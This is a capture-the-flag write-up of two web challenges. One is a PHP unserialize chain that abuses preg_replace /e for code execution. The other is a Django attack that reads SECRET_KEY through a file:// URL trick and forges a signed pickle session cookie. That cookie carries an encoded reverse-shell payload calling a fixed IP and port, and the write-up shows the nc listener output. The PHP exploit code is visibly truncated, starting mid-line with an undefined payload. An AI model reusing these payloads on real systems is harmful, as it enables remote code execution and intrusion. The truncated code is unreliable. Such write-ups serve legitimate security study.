kpop (web200)
We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the
state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
}
...
function log($txt) {
$this->logwriter->writeLog($txt);
}
...
function __destruct() {
$this->song->log();
}
-- _destruct --
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
}
};
-- logger --
By using the /e switch, we can execute arbitrary code:-- exploit --
matchPattern=$a;$this->replacement=$b;}
}
class LogFileFormat {
public $filters,$endl;
function __construct($a){$this->filters=$a;$this->endl='';}
}
class LogWriter_File {
protected $filename,$format;
function __construct($b){$this->filename='';$this->format=$b;}
}
class Logger {
protected $logwriter;
function __construct($a){$this->logwriter=$a;}
}
class Song {
protected $logger,$name,$group,$url;
function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
}
class Lyrics {
protected $lyrics,$song;
function __construct($a){$this->lyrics='';$this->song=$a;}
}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop reekee (web200)
We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.-- cut --
url = request.POST['url']
text = request.POST['text']
try:
if "http://" in url:
image = urllib2.urlopen(url)
else:
image = urllib2.urlopen("http://"+url)
except:
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the
file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier);
something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that
the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py -- SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' -- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit ---
import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
def base64(s): #taken from django
import base64
return base64.urlsafe_b64encode(s).strip(b'=')
def salted_hmac(salt, value, secret): #taken from django
key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
return hmac(key, msg=value, digestmod=hashlib.sha1).digest()
import time
import baseconv #taken from django
timestamp = baseconv.base62.encode(str(int(time.time())))
data = base64(payload)+":"+timestamp
mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
t.update({'sessionid':s})
return requests.get(add, cookies=t)
IP = '91.228.198.97'
PORT = 41412
url ='http://54.82.251.203:8000'
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:$ nc -l -p 41412 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(reekee) gid=1001(reekee) groups=1001(reekee) $ give_me_the_flag.exe mymeme use_exe_to_read_me.txt $ ./give_me_the_flag.exe flag: why_did_they_make_me_write_web_apps write: Success












